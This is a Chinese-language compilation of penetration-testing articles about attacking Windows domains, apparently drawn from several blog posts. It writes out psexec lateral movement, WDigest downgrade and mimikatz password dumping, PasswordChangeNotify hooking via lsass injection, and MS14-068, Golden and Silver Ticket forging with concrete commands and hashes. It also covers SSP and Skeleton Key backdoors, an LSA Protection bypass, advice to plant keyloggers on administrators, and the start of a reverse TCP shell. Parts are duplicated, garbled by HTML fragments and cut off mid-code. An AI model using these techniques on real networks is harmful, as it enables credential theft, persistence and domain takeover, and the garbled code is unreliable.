Psexec -s 192.168.4.6 cmd.exe /c ipconfig
回显会出现时有时无的情况,弹一个交互式的cmdshell就不用想了,除非远控实现的是一个完全交互式的cmdshell,这个东西有吗?答案是有的。见下面链接:
http://forum.eviloctal.com/thread-40208-1-1.html
不过有方法可以弥补这个缺陷,net use成功后,在远控里是可以访问对方的文件系统的,192.168.4.6C$,这样就可以写文件进去,比如写到C盘,写批处理,在里面写想执行的命令并把回显结果重定向到文件,一次写入多条效率比较高,还可以重复使用,就像这样:
Ipconfig /all >> C:pp.txt
然后再执行
psexec -s 192.168.4.6 cmd.exe /c C:a.bat
这样在远控里把回显的txt下回来就算行了,还便于保存,是不是很麻烦呀! 监视管理员: 虽然拿到域管理员的密码可以在域里玩,当跟域里有联系而且重要的机器可能并不在域里,比如帮助域里机器上网的代理服务器,邮件网关等。 要想在这些机器上玩,就只有监视管理员了,找到管理员的机器,给他种个马,种个keyloger(键盘记录),或者专门的3389登录记录器也可以。当然运气好,可能在他电脑找到一个password.txt就发达了。管理员的浏览器也是藏密码的地方,他应该会经常登录一些需要密码验证的地方,然后他可能会保存密码,那么我们就要导出他的密码,那样会收获不小哦。

问题与提高

如果你只有远控,对方网络在内网。你无法直接登录服务器上的3389,那就只有端口转发了。 如果对方内网不能直接上网,只能通过一个代理服务器上网,比如ISA,squid撒的,再加上一个会随时断你线的防火墙,那么麻烦就大了。就算一些木马能出来,一般的端口转发也出不来啊~。 这种情况我想到两种出路: 一 找到内网里可以直接出来的机器,比如管理员为了方便下片什么的开放的。其实可以直接找管理员。(还有一个思路,看对方内网里发邮件到外面的邮件头,一般都是邮件中继信息,一步一步跟就从内网到外网了,要是有基于邮件协议的木马就爽YY了,中了以后直接劫持邮件客服端,隐蔽的发邮件,控制信息由邮件出去) 二 写程序,搞定代理,刺穿防火墙。

前言

在渗透测试中,渗透测试人员通常会使用mimikatz从LSA的内存中导出系统的明文口令,而有经验的管理员往往会选择安装补丁kb2871997来限制这种行为。这其中涉及到哪些有趣的细节呢?本文将会一一介绍。

简介

KB2871997:

更新KB2871997补丁后,可禁用Wdigest Auth强制系统的内存不保存明文口令,此时mimikatz和wce均无法获得系统的明文口令。但是其他一些系统服务(如IIS的SSO身份验证)在运行的过程中需要Wdigest Auth开启,所以补丁采取了折中的办法——安装补丁后可选择是否禁用Wdigest Auth。当然,如果启用Wdigest Auth,内存中还是会保存系统的明文口令。 支持系统:
Windows 7 Windows 8 Windows 8.1 Windows Server 2008 Windows Server 2012 Windows Server 2012R 2
配置: 1、下载补丁并安装
下载地址|https://support.microsoft.com/en-us/kb/2871997
2、配置补丁 下载easy fix并运行,禁用Wdigest Auth
注:easy fix的操作其实就是改了注册表的键值,所以这里我们可以手动操作注册表来禁用Wdigest Auth
对应的注册表路径为:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
名称为:
UseLogonCredential
类型为:
REG_DWORD
值为:
0
使用批处理的命令为:
#!bash reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
如图 3、重启系统 测试无法导出明文口令 如图

解决方法

需要将UseLogonCredential的值设为1,然后注销当前用户,用户再次登录后使用mimikatz即可导出明文口令。 Nishang中的Invoke-MimikatzWDigestDowngrade集成了这个功能,地址如下:
3、判断当前系统是否结束锁屏状态 最开始的思路为锁屏会运行某个进程,在结束锁屏状态后会退出某个进程或是在结束锁屏状态后会启动某个进程,于是编写了如下测试代码: 判断进程notepad进程是否存在,如果不存在等待10s再次判断,如果存在,退出循环:
#!powershell $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") } $Flag=$id.Id+0 write-host "
Checking tasklist" while($Flag -eq 0) { write-host "
No notepad.exe" write-host "
Wait 10 Seconds..." Start-Sleep -Seconds 10 $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") } $Flag=$id.Id+0 write-host "
Checking tasklist" } write-host "
Got notepad.exe!"
但是实际测试效果均不太理想,后来在如下链接找到了解决思路:
http://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen' rel='nofollow'/> Out-Null } Lock-WorkStation
如图 3、判断当前系统是否结束锁屏状态 最开始的思路为锁屏会运行某个进程,在结束锁屏状态后会退出某个进程或是在结束锁屏状态后会启动某个进程,于是编写了如下测试代码: 判断进程notepad进程是否存在,如果不存在等待10s再次判断,如果存在,退出循环:
#!powershell $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") } $Flag=$id.Id+0 write-host "
Checking tasklist" while($Flag -eq 0) { write-host "
No notepad.exe" write-host "
Wait 10 Seconds..." Start-Sleep -Seconds 10 $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") } $Flag=$id.Id+0 write-host "
Checking tasklist" } write-host "
Got notepad.exe!"
但是实际测试效果均不太理想,后来在如下链接找到了解决思路:
http://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen

锁屏状态下GetForegroundWindow()的函数返回值为NULL,非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值。 对于GetForegroundWindow()的函数用法可在如下链接找到参考:
.Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) $GetProcAddress.Invoke($null, @(
$HandleRef, $Procedure)) } Start-Sleep -Seconds 10 $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow $GetForegroundWindowDelegate = Get-DelegateType @() (
) $GetForegroundWindow =
::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) $hWindow = $GetForegroundWindow.Invoke() write-host "
Checking Flag" while($hWindow -eq 0) { write-host "
LockScreen" write-host "
Wait 10 Seconds..." Start-Sleep -Seconds 10 $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow $GetForegroundWindowDelegate = Get-DelegateType @() (
) $GetForegroundWindow =
::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) $hWindow = $GetForegroundWindow.Invoke() write-host "
Checking Flag" } write-host "
Got Screen!"
为方便演示,上面的脚本添加了等待10s后再判断的功能,如图 4、用户登录后,跳出循环等待,立即导出明文口令并保存 导出口令的功能参考如下代码
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1' rel='nofollow'/> Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')
.Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) $GetProcAddress.Invoke($null, @(
$HandleRef, $Procedure)) } Start-Sleep -Seconds 10 $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow $GetForegroundWindowDelegate = Get-DelegateType @() (
) $GetForegroundWindow =
::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) $hWindow = $GetForegroundWindow.Invoke() write-host "
Checking Flag" while($hWindow -eq 0) { write-host "
LockScreen" write-host "
Wait 10 Seconds..." Start-Sleep -Seconds 10 $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow $GetForegroundWindowDelegate = Get-DelegateType @() (
) $GetForegroundWindow =
::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) $hWindow = $GetForegroundWindow.Invoke() write-host "
Checking Flag" } write-host "
Got Screen!"
为方便演示,上面的脚本添加了等待10s后再判断的功能,如图 4、用户登录后,跳出循环等待,立即导出明文口令并保存 导出口令的功能参考如下代码
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

通过powershell加载mimikatz导出明文口令,添加了保存、判断、循环等细节,整合文中的功能,完整的代码已上传至github,地址为:
https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed
完整演示如图

小结

本文对加载mimikatz导明文口令的powershell脚本做了扩充,添加了如下功能:
修改注册表键值,启用Wdigest Auth 自动锁屏,等待用户重新登录 判断当前锁屏状态,用户解锁登录后立即导出明文口令
同时也通过powershell实现了监控并记录对注册表键值的修改,可用作防御

补充


https://github.com/l3m0n/pentest_study
见上面的链接,l3m0n对渗透测试的整理很是细心,是个很好的学习资料。另外在其github上hash抓取这一章中的win8+win2012明文抓取描述为测试失败,希望本文对你(@l3m0n)有用 更多学习资料:
https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/

前言

在之前的文章中介绍了两种维持域控权限的方法——SSP和Skeleton Key,这两种方法均需要借助Mimikatz来实现,或多或少存在一些不足,所以这次接着介绍一个更加隐蔽且不需要使用Mimikatz的后门方法——Hook PasswordChangeNotify.

简介

Hook PasswordChangeNotify这个概念最早是在2013年9月15日由clymb3r提出,通过Hook PasswordChangeNotify拦截修改的帐户密码。 需要了解的相关背景知识如下: 1.在修改域控密码时会进行如下同步操作: a. 当修改域控密码时,LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求 b. 如果符合,LSA接着调用PasswordChangeNotify在系统上同步更新密码 2.函数PasswordChangeNotify存在于rassfm.dll 3.rassfm.dll可理解为Remote Access Subauthentication dll,只存在于在Server系统下,xp、win7、win8等均不存在 4.可以使用dumpbin查看rassfm.dll导出函数来验证结论2:
#!bash dumpbin /exports c:\windows\system32\rassfm.dll

特点

对于之前介绍过的Security Support Provider,在实际使用过程中不可避免的会有以下不足:
安装后需要重启系统 需要在System32文件夹下放置dll 需要修改注册表
而使用Hook PasswordChangeNotify却有如下优点:
不需要重启 不需要修改注册表 甚至不需要在系统放置dll
可以说在隐蔽性上,使用Hook PasswordChangeNotify优于Security Support Provider

技术实现

根据clymb3r提供的poc,实现Hook PasswordChangeNotify共包含两部分:

1、Hook dll


下载链接|https://github.com/clymb3r/Misc-Windows-Hacking
(1)为PasswordChangeNotify创建一个inline Hook,将初始函数重定向到PasswordChangeNotifyHook (2)在PasswordChangeNotifyHook中实现记录密码的操作,然后重新将控制权交给PasswordChangeNotify

2、dll注入

可以利用 Powershell tricks中的Process Injection将我们自己编写的dll注入到lsass进程,实现Hook功能

实际测试

测试环境:
Server 2008 R2 x64 Server 2012 R2 x64
测试步骤:
1、生成Hook dll

poc下载地址|https://github.com/clymb3r/Misc-Windows-Hacking
使用VS2015开发环境,MFC设置为在静态库中使用MFC 编译工程,生成HookPasswordChange.dll
2、生成dll注入的powershell脚本
下载Powershell的dll注入脚本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
在代码尾部添加如下代码:
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass
并命名为
HookPasswordChangeNotify.ps1

3、Hook PasswordChangeNotify
上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll 管理员权限执行:
#!bash PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1

4、自动记录新密码
在Server 2012 R2 x64下,手动修改域控密码后 在C:\Windows\Temp下可以找到passwords.txt,其中记录了新修改的密码 在Server 2008 R2 x64下,同样成功

小结

本文依旧是对常规功能做了演示,后续可自定义dll代码实现更多高级功能,如自动上传新密码。 以下链接中的代码可作为参考,其中实现了将获取的新密码上传至Http服务器
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
使用Hook PasswordChangeNotify来记录新密码,如果放在以前,进程注入的操作很容易被检测,但是得益于Powershell应用的发展,通过Powershell来进程注入可以绕过常规的拦截。 当然,Hook PasswordChangeNotify仅仅是众多Hook方法中的一个。 我已经Fork了clymb3r的代码,并结合本文需要的代码做了更新,下载地址如下:
https://github.com/3gstudent/Hook-PasswordChangeNotify

参考资料


https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/

http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html

http://www.processlibrary.com/en/directory/files/rassfm/305529/

https://github.com/clymb3r/Misc-Windows-Hacking/tree/master/HookPasswordChange

http://www.slideshare.net/nFrontSecurity/how-do-password-filters-work

前言

上篇介绍了有关Pass The Hash 和Pass The Key的技巧,这次接着介绍一下Pass The Ticket

简介

在域环境中,Kerberos协议被用来作身份认证,上图所示即为一次简单的身份认证流程,具体细节可以参考相关资料,这里仅介绍几个名词:
KDC(Key Distribution Center): 密钥分发中心,里面包含两个服务:AS和TGS AS(Authentication Server): 身份认证服务 TGS(Ticket Granting Server): 票据授予服务 TGT(Ticket Granting Ticket): 由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时 Pass The Ticket: 如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限
在了解了相关名词之后,我们从实际利用的角度来介绍与Pass The Ticket有关的技术 测试环境:
#!bash 域控: os:server 2008 r2 x64 ip:192.168.40.132 域内主机: os:win7 x64 ip:192.168.40.225

MS14-068

时至今日,该漏洞已经过去一年多,针对其攻击的防御检测方法已经很成熟,所以对其利用方法做一个回顾。

1、PyKEK

最先公开的利用方法是Sylvain Monné用Python实现的PyKEK 准备条件:
域用户及其口令 域用户对应sid 域控地址 Win7及以上系统

Tips: 1.操作系统要求Win7及以上,这是因为XP不支持导入Ticket 2.攻击主机可使用其他域用户信息,比如可以在主机A上用域用户B的口令及sid攻击 3.将Python脚本转成exe即可在任意一台Windows主机使用

漏洞利用的步骤为:
如果漏洞触发成功,会生成.ccache文件 通过klist purge先清除内存中的Ticket 使用mimikatz的ptc功能将.ccache导入到内存 通过klist查看导入的Ticket 使用net use 连接域控

Tips: 1.如果不先清除内存中的Ticket直接导入,有可能会失败 2.连接域控要使用域控地址,不要用IP

2、kekeo

Benjamin DELPY用c实现了MS14-068的利用工具,更简单高效。 因为域用户对应sid本就可以通过程序自动获取,清除导入票据也能自动实现,当然,如果想用其他域用户信息攻击,也可以加上sid手动导入票据 kekeo的快捷用法仅需要以下参数:
域用户及其口令 域控地址
实际测试如图,成功获得了域控的访问权限
https://github.com/gentilkiwi/kekeo/releases

Export the ticket

在我们成功获得域控权限后,就可以导出域控内存中的Ticket,在默认的10个小时以内都可以利用来登录域控 通过mimikatz导出内存中的Ticket,执行:
#!bash sekurlsa::tickets /export
保存成文件,一共导出如下文件 挑选其中的
-2-0-40e00000-a@krbtgt-TEST.LOCAL.kirbi在域普通用户的主机进行导入 执行:
#!bash mimikatz "kerberos::ptt C:\test\
-2-0-40e00000-a@krbtgt-TEST.LOCAL.kirbi"
如图,导入成功 查看是否有域控权限,如图

Tips: 1.64位系统使用ptt功能要用32位的mimikatz,如果用64的mimikatz,那么无法导入Ticket 2.这种方式导入的Ticket默认在10小时以内生效

Golden Ticket

每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,不就可以随意伪造Ticket了吗? 实际上只要拿到了域控权限,在上面就可以很容易的获得krbtgt的Hash值,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket

1、导出krbtgt的Hash

在域控上执行
#!bash mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
生成mimikatz.log记录输出,使用log输出是为了方便复制Hash值 找到如下信息:
#!bash /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f

2、生成Golden Ticket

伪造的用户设置为god,执行
#!bash mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"
生成文件gold.kirbi

Tips: 生成Golden Ticket不仅可以使用aes256,也可用krbtgt的NTLM hash 可以用mimikatz "lsadump::lsa /patch"导出

导入Golden Ticket,执行如下命令:
#!bash kerberos::ptt c:\test\gold.kirbi
如图,成功获得域控权限

Tips: 这种方式导入的Ticket默认在20分钟以内生效,当然,如果过期了,再次ptt导入Golden Ticket就好 可以伪造任意用户,即使其不存在 krbtgt的NTLM hash不会轻易改变,即使修改域控管理员密码

Silver Ticket

Silver Ticket是伪造的TGS(Ticket Granting Server)ticket,所以也叫service ticket 将它同Golden Ticket做对比:

1、访问权限不同

Golden Ticket是伪造的TGT(Ticket Granting Ticket),所以可以获取任何Kerberos服务权限 Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限

2、加密方式不同

Golden Ticket是由krbtgt的hash加密 Silver Ticket是由服务账户(通常为计算机账户)hash加密

3、认证流程不同

Golden Ticket在使用的过程需要同域控通信 Silver Ticket在使用的过程不需要同域控通信 举例说明Silver Ticket: 正常的认证流程为 如果使用了Silver Ticket,认证流程变为 不难看出其中取消了步骤1-4 也就是说只要手里有Silver Ticket,就可以跳过KDC认证,直接去访问指定的服务。
比如现在要访问域控上的“cifs”服务(cifs服务用于Windows主机间的文件共享)
首先需要获得如下信息:
/domain /sid /target:目标服务器的域名全称,此处为域控的全称 /service:目标服务器上面的kerberos服务,此处为cifs /rc4:计算机账户的NTLM hash,域控主机的计算机账户 /user:要伪造的用户名,此处可用silver测试
在域控上执行如下命令来获取域控主机的本地管理员账户hash
#!bash mimikatz log "sekurlsa::logonpasswords"
如图

注: 此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败

整理以上获得的信息如下:
/domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver
使用mimikatz执行如下命令导入Silver Ticket
#!bash mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
如图,成功导入,此时可以成功访问域控上的文件共享
为了加深理解,再举一个例子
访问域控上的“LDAP”服务 整理信息如下,只需要把/service的名称改为LDAP,/user改为krbtgt,/rc4改为krbtgt的NTLM HASH
/domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt
mimikatz导入Silver Ticket的命令为:
#!bash mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"
此时dir \\WIN-8VVLRPIAJB0.test.local\c$ 发现无法访问,也就是前面提到的

Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限

如图,虽然成功导入,但是无法访问域控的文件共享 但是执行如下命令可以远程访问LDAP服务来获得krbtgt的信息:
#!bash mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"
如图,成功远程获得krbtgt账户信息 注:

lsadump::dcsync 向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。 需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户 只读域控制器默认不允许读取用户密码数据

参数选项:
/user - 要查询的用户id 或 SID /domain(可选的)默认设置为当前域。 /dc(可选的)指定DCSync 连接的域控位置
当然,还有其他服务可通过伪造Silver Ticket访问: 如图列举了其他可用作Silver Ticket的服务:

防御


1 域控及时更新补丁 时刻监控域控日志 限制mimikatz使用

小结

本文介绍了和Pass The Ticket有关的技术,着重对实际使用的一些情况做了演示,无论攻防,只有实践,才会进步。 Real knowledge comes from practices.

参考资料:


http://www.roguelynn.com/words/explain-like-im-5-kerberos/

https://www.youtube.com/watch?v=ztY1mqsBedE

https://adsecurity.org/?p=1515

https://adsecurity.org/?p=1640

https://adsecurity.org/?p=2011

http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

前言

在之前的文章中介绍了一些域环境中的渗透方法和技巧,所以这次接着介绍一个用来维持域控权限的方法——SSP.

简介

SSP:

Security Support Provider,直译为安全支持提供者,又名Security Package. 简单的理解为SSP就是一个DLL,用来实现身份认证,例如:
#!bash NTLM Kerberos Negotiate Secure Channel (Schannel) Digest Credential (CredSSP)

SSPI:

Security Support Provider Interface,直译为安全支持提供程序接口,是Windows系统在执行认证操作所使用的API。 简单的理解为SSPI是SSP的API接口

LSA:

Local Security Authority,用于身份认证,常见进程为lsass.exe 特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中. 这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe! 如图,这是正常的SSPI结构图,Client APP是我们自定义的dll,通过Secur32.dll可以调用 "credential capture API"来获取LSA的信息 上图展示了攻击思路,既然可以自定义dll,那么我们就可以定制dll的功能,通过Named Pipe和Shared Memory直接获取lsass.exe中的明文密码,并且能够在其更改密码时立即获得新密码!

mimilib SSP

mimikatz早已支持这个功能,而这个文件就是我们使用的时候常常忽略的mimilib.dll 下面就实际测试一下如何通过mimilib伪造SSP记录明文密码.
https://github.com/gentilkiwi/mimikatz/blob/bb371c2acba397b4006a6cddc0f9ce2b5958017b/mimilib/kssp.c

实际测试

测试环境
#!bash 域控:server 2008 r2 x64 域内主机: win7 x64
测试步骤:

1、添加SSP

将mimilib.dll复制到域控c:\windows\system32下

注: 64位系统要用64位的mimilib.dll,32位的会失败

2、设置SSP

修改域控注册表位置:
#!bash HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\
在Security Packages下添加mimilib.dll 点击确认,Security Packages已被添加mimilib.dll 如图

3、重启系统

域控重启后在c:\windows\system32可看到新生成的文件kiwissp.log kiwissp.log记录了登录账户和密码,如图

Tips: mimilib只实现了将密码保存到本地,如果把密码发送到远程服务器岂不是威力无穷?

补充

1、Memory Updating of SSPs

mimikatz同时还支持通过内存更新ssp,这样就不需要重启再获取账户信息 需要使用mimikatz.exe,命令如下:
#!bash privilege::debug misc::memssp
注: 1、64系统需要64位的mimikatz,如图 32位mimikatz失败 Alt text 64位mimikatz成功 Alt text 2、内存更新的方法在重启后会失效.

检测

1、注册表 检测注册表位置:
#!bash HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\
2、dll 检测%windir%\System32是否有可疑dll 3、Autoruns 使用工具Autoruns检测LSA 如图,可以发现添加dll的位置

小结

本文仅对SSP的常规用法做了演示,实现了在本地保存域控的账户和密码,而且基于这个思路,可以开发出更多高级的利用方法。 如果站在防御的角度,常规方法已经力不从心,只有更多的了解攻击才能更好的防御。

参考资料


https://en.wikipedia.org/wiki/Security_Support_Provider_Interface

https://dl.mandiant.com/EE/library/MIRcon2014/MIRcon_2014_IR_Track_Analysis_of_Malicious_SSP.pdf

https://msdn.microsoft.com/en-us/library/bb742535.aspx

https://msdn.microsoft.com/en-us/library/windows/desktop/ms721625(v=vs.85).aspx#_security_security_support_provider_gly

https://adsecurity.org/?p=1760

https://technet.microsoft.com/en-us/library/dn408187.aspx

前言

上篇介绍了利用SSP来维持域控权限,美中不足在于其需要域控重启才能生效,而在众多的域渗透方法中,当然存在不需要域控重启即能生效的方法,所以这次就介绍其中的一个方法——Skeleton Key

简介

Skeleton Key被安装在64位的域控服务器上 支持Windows Server2003—Windows Server2012 R2 能够让所有域用户使用同一个万能密码进行登录 现有的所有域用户使用原密码仍能继续登录 重启后失效 Mimikatz(Version 2.0 alpha,20150107)支持 Skeleton Key
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c

实际测试

测试环境
域控:Server 2008 R2 x64 域内主机: Win7 x64

1、域内主机使用正确密码登录域控

用户名:a@test.local 密码:12345678!Q cmd命令:
#!bash net use \\WIN-8VVLRPIAJB0.test.local 12345678!Q /user:a@test.local dir \\WIN-8VVLRPIAJB0.test.local\c$

2、在域控安装Skeleton Key

mimikatz命令:
#!bash privilege::debug misc::skeleton

注: 64系统需要使用64位的mimikatz

3、域内主机使用Skeleton Key登录域控

(1)清除net use连接 cmd命令:
#!bash net use */del /y
(2)使用Skeleton Key登录 mimikatz的默认Skeleton Key设置为mimikatz cmd命令:
#!bash net use \\WIN-8VVLRPIAJB0.test.local mimikatz /user:a@test.local dir \\WIN-8VVLRPIAJB0.test.local\c$
(3)权限测试 a、使用域内不存在的用户+Skeleton Key登录 b、使用域内普通权限用户+Skeleton Key登录 如图 发现使用域内不存在的用户无法登录 使用域内普通权限用户无法访问域控
结论: Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限

4、LSA Protection

微软在2014年3月12日添加了LSA保护策略,用来防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。 适用系统:
Windows 8.1 Windows Server 2012 R2
所以接下来换用Windows Server 2012 R2 x64进行测试 (1)配置LSA Protection 注册表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 新建-DWORD值,名称为RunAsPPL,数值为00000001 重启系统 (2)测试Skeleton Key mimikatz命令:
#!bash privilege::debug misc::skeleton
此时失败 (3)绕过LSA Protection mimikatz早在2013年10月就已支持绕过LSA Protection
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c
注: 该功能需要mimidrv.sys文件 mimikatz命令:
#!bash privilege::debug !+ !processprotect /process:lsass.exe /remove misc::skeleton
如图,导入驱动文件mimidrv.sys后,绕过LSA Protection,操作成功

补充

分享一些常见问题的解决方法,管理员常常会禁用一些重要程序的运行,比如cmd、regedit、taskmgr

1、如何禁用cmd、regedit、taskmgr

输出gpedit.msc进入本地组策略编辑器 本地计算机测试-用户配置-管理模板-系统 禁用cmd: 选择"阻止访问命令提示符"-启用 禁用regedit: 选择"阻止访问注册表编辑工具"-启用 禁用taskmgr: 选择"不要运行指定的Windows应用程序"-不允许的应用程序列表-填入taskmgr.exe-启用 测试: 如图cmd、regedit、taskmgr均已被禁用

2、绕过

mimikatz命令:
#!bash privilege::debug misc::cmd misc::regedit misc::taskmgr
如图,成功执行,绕过限制

防御

保护域控权限 查看域控日志 对照攻击方法寻找入侵痕迹

小结

这次不仅测试了Skeleton Key,还介绍了mimikatz的一些隐藏功能,而这些功能并未在其官方说明文档中出现。 其实通过研究mimikatz的源码,你会发现还有许多的隐藏功能值得挖掘利用。 还是那句老话,只有了解如何攻击才能更好的防御,希望本文无论是对渗透攻击还是防御,均有帮助。

参考资料


https://adsecurity.org/?p=1275

https://adsecurity.org/?p=1255

http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/

https://technet.microsoft.com/en-us/library/dn408187.aspx

https://github.com/gentilkiwi/mimikatz/commit/2d9e15bb8320df727d36564bc16df50ea9e557e4

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.

前言

大家都知道powershell有一个非常厉害的地方是可以直接调用.net框架,并且.net框架在windows7/2008及以后是默认安装的。 Powershell调用.net框架可以有多种方法,最简单的方法是写c#代码然后直接运行,或者在powershell中使用new-object创建.net对象,然后再调用。 (在powershell中运行c#代码) (在powershell中直接创建.net对象) 当然powershell还有很多方法运行c#代码。

Windows Raw Socket

raw socket提供了底层网络包的操作,所以需要administrator的权限,关于当前环境支持的raw socket的详细信息可以通过下面的命令查看。
http://msdn.microsoft.com/en-us/library/windows/desktop/ms740548%28v=vs.85%29.aspx

netsh winsock show catalog
关于c#调用socket的文档,你可以在msdn的链接中找到,注意socket对象在.net3.5和其他版本中有一些差异。
http://msdn.microsoft.com/zh-cn/library/system.net.sockets.socket%28v=vs.90%29.aspx

evil things

通晓上面的过程后,就明白基本的网络操作都可以用powershell完成,比如端口扫描,CMD SHELL,文件上传下载,嗅探等。 重要的是这些操作不需要任何第三方的支持! 因为windows安装后就具备了这些条件! 而且这些操作是以白名单的powershell运行的! 比如构建一个反向连接的CMDSHELL熟悉上面的过程之后,写起来就会变得很简单,首先我们需要用c#写一个反向交互式CMD shell的对象,加上定时回连的功能,并且注意这个对象必须是public的,这样才能在powershell中调用。然后将你的代码复制进一个新的ps1文件中,并且用Add-Type @’ ’@包含,
�powershell调用.NET的socket与Process和其他对象(主要)构建一个反向交互式的CMDSHELL。

Demo

Reverse TCP SHELL 在这里并不是调用的raw socket,所以不需要administrator权限,下面的Bind TCP shell也是。只有sniffer需要administrator权限。
#!c# $Addr = "127.0.0.1" $Port = 6666 $SleepTime = 5 #seconds Add-Type @' using System; using System.IO; using System.Net; using System.Net.Sockets; using System.Text; using System.Diagnostics; public class ReverseTCPShell { public static TcpClient tcpClient; public static NetworkStream stream; public static StreamReader streamReader; public static StreamWriter streamWriter; public static StringBuilder UserInput; public static void run(string IP, int port, int SleepTime) { for (; ; ) { start(IP, port, SleepTime); System.Threading.Thread.Sleep(SleepTime * 1000); } } public static void start(string IP, int port, int SleepTime) { tcpClient = new TcpClient(); UserInput = new StringBuilder(); if (!tcpClient.Connected) { try { tcpClient.Connect(IP, port); stream = tcpClient.GetStream(); streamReader = new StreamReader(stream, System.Text.Encoding.Default); streamWriter = new StreamWriter(stream, System.Text.Encoding.Default); } catch (Exception) { return; } Process CmdProc; CmdProc = new Process(); 